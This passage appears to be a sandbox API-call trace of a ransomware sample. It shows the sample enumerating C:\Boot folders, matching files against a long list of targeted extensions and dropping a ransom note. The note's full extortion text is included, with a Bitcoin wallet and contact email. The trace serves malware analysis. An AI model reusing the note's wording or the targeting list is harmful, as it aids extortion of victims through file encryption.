(lpString="*.nd") returned 4 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.229] lstrlenA (lpString="*.tlg") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.229] lstrlenA (lpString="*.lgb") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.229] lstrlenA (lpString="*.mov") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.229] lstrlenA (lpString="*.xdw") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.229] lstrlenA (lpString="*.ods") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.230] lstrlenA (lpString="*.wav") returned 5 [0057.230] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.230] lstrlenA (lpString="*.mp3") returned 5 [0057.230] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.230] lstrlenA (lpString="*.aiff") returned 6 [0057.230] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.230] lstrlenA (lpString="*.flac") returned 6 [0057.230] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.230] lstrlenA (lpString="*.m4a") returned 5 [0057.230] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.230] lstrlenA (lpString="*.csv") returned 5 [0057.230] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.230] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.230] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0057.230] lstrcmpA (lpString1=".", lpString2="fi-FI") returned -1 [0057.230] lstrcmpA (lpString1="..", lpString2="fi-FI") returned -1 [0057.230] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.230] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0057.230] lstrlenA (lpString="C:\\Boot\\fi-FI") returned 13 [0057.230] FindFirstFileA (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.231] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.231] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.231] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.231] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.231] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.231] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.231] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.231] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.231] PathFindFileNameA (pszPath="C:\\Boot\\fi-FI\\*.*") returned="*.*" [0057.231] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\fi-FI\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0057.231] PathAddBackslashA (in: pszPath="C:\\Boot\\fi-FI\\" | out: pszPath="C:\\Boot\\fi-FI\\") returned="" [0057.231] lstrcatA (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\fi-FI\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\fi-FI\\HOW TO DECRYPT FILES.txt" [0057.231] GetFileAttributesA (lpFileName="C:\\Boot\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fi-fi\\how to decrypt files.txt")) returned 0xffffffff [0057.231] CreateFileA (lpFileName="C:\\Boot\\fi-FI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fi-fi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.232] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.232] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.233] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.234] CloseHandle (hObject=0x84) returned 1 [0057.234] lstrcatA (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.234] lstrlenA (lpString="*.ems") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.234] lstrlenA (lpString="*.db") returned 4 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.234] lstrlenA (lpString="*.dbf") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.234] lstrlenA (lpString="*.myox") returned 6 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.234] lstrlenA (lpString="*.myo") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.234] lstrlenA (lpString="*.qbw") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.234] lstrlenA (lpString="*.qbb") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.234] lstrlenA (lpString="*.qbm") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.234] lstrlenA (lpString="*.qbo") returned 5 [0057.234] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.235] lstrlenA (lpString="*.qbx") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.235] lstrlenA (lpString="*.qba") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.235] lstrlenA (lpString="*.qby") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.235] lstrlenA (lpString="*.qbj") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.235] lstrlenA (lpString="*.ofx") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.235] lstrlenA (lpString="*.qif") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.235] lstrlenA (lpString="*.mye") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.235] lstrlenA (lpString="*.mbox") returned 6 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.235] lstrlenA (lpString="*.eml") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.235] lstrlenA (lpString="*.pst") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.235] lstrlenA (lpString="*.ost") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.235] lstrlenA (lpString="*.idx") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.235] lstrlenA (lpString="*.dbx") returned 5 [0057.235] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.235] lstrlenA (lpString="*.sql") returned 5 [0057.236] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.236] lstrlenA (lpString="*.mdb") returned 5 [0057.236] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.236] lstrlenA (lpString="*.fdb") returned 5 [0057.236] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.236] lstrlenA (lpString="*.wab") returned 5 [0057.236] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.237] lstrlenA (lpString="*.dat") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.237] lstrlenA (lpString="*.txt") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.237] lstrlenA (lpString="*.jpeg") returned 6 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.237] lstrlenA (lpString="*.jpg") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.237] lstrlenA (lpString="*.png") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.237] lstrlenA (lpString="*.php") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.237] lstrlenA (lpString="*.cs") returned 4 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.237] lstrlenA (lpString="*.cpp") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.237] lstrlenA (lpString="*.rar") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.237] lstrlenA (lpString="*.zip") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.237] lstrlenA (lpString="*.html") returned 6 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.237] lstrlenA (lpString="*.htm") returned 5 [0057.237] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.237] lstrlenA (lpString="*.xlsx") returned 6 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.238] lstrlenA (lpString="*.xls") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.238] lstrlenA (lpString="*.mp4") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.238] lstrlenA (lpString="*.ppt") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.238] lstrlenA (lpString="*.pptx") returned 6 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.238] lstrlenA (lpString="*.doc") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.238] lstrlenA (lpString="*.dot") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.238] lstrlenA (lpString="*.docx") returned 6 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.238] lstrlenA (lpString="*.7z") returned 4 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.238] lstrlenA (lpString="*.tar") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.238] lstrlenA (lpString="*.bz2") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.238] lstrlenA (lpString="*.gz") returned 4 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.238] lstrlenA (lpString="*.mkv") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.238] lstrlenA (lpString="*.eml") returned 5 [0057.238] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.238] lstrlenA (lpString="*.msg") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.239] lstrlenA (lpString="*.edb") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.239] lstrlenA (lpString="*.accdb") returned 7 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.239] lstrlenA (lpString="*.odb") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.239] lstrlenA (lpString="*.java") returned 6 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.239] lstrlenA (lpString="*.asm") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.239] lstrlenA (lpString="*.pfx") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.239] lstrlenA (lpString="*.pem") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.239] lstrlenA (lpString="*.p12") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.239] lstrlenA (lpString="*.gpg") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.239] lstrlenA (lpString="*.vsd") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.239] lstrlenA (lpString="*.odg") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.239] lstrlenA (lpString="*.raw") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.239] lstrlenA (lpString="*.nef") returned 5 [0057.239] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.240] lstrlenA (lpString="*.svg") returned 5 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.240] lstrlenA (lpString="*.psd") returned 5 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.240] lstrlenA (lpString="*.vmx") returned 5 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.240] lstrlenA (lpString="*.vmdk") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.240] lstrlenA (lpString="*.vdi") returned 5 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.240] lstrlenA (lpString="*.lay6") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.240] lstrlenA (lpString="*.mpeg") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.240] lstrlenA (lpString="*.djvu") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.240] lstrlenA (lpString="*.tiff") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.240] lstrlenA (lpString="*.backup") returned 8 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.240] lstrlenA (lpString="*.pdf") returned 5 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.240] lstrlenA (lpString="*.cert") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.240] lstrlenA (lpString="*.docm") returned 6 [0057.240] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.241] lstrlenA (lpString="*.xlsm") returned 6 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.241] lstrlenA (lpString="*.dwg") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.241] lstrlenA (lpString="*.nd") returned 4 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.241] lstrlenA (lpString="*.tlg") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.241] lstrlenA (lpString="*.lgb") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.241] lstrlenA (lpString="*.mov") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.241] lstrlenA (lpString="*.xdw") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.241] lstrlenA (lpString="*.ods") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.241] lstrlenA (lpString="*.wav") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.241] lstrlenA (lpString="*.mp3") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.241] lstrlenA (lpString="*.aiff") returned 6 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.241] lstrlenA (lpString="*.flac") returned 6 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.241] lstrlenA (lpString="*.m4a") returned 5 [0057.241] PathMatchSpecA (pszFile="C:\\Boot\\fi-FI\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.242] lstrlenA (lpString="*.csv") returned 5 [0057.242] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.242] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.242] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Fonts", cAlternateFileName="")) returned 1 [0057.242] lstrcmpA (lpString1=".", lpString2="Fonts") returned -1 [0057.242] lstrcmpA (lpString1="..", lpString2="Fonts") returned -1 [0057.242] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.242] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0057.242] lstrlenA (lpString="C:\\Boot\\Fonts") returned 13 [0057.242] FindFirstFileA (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.244] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.244] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.244] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.244] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.244] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: 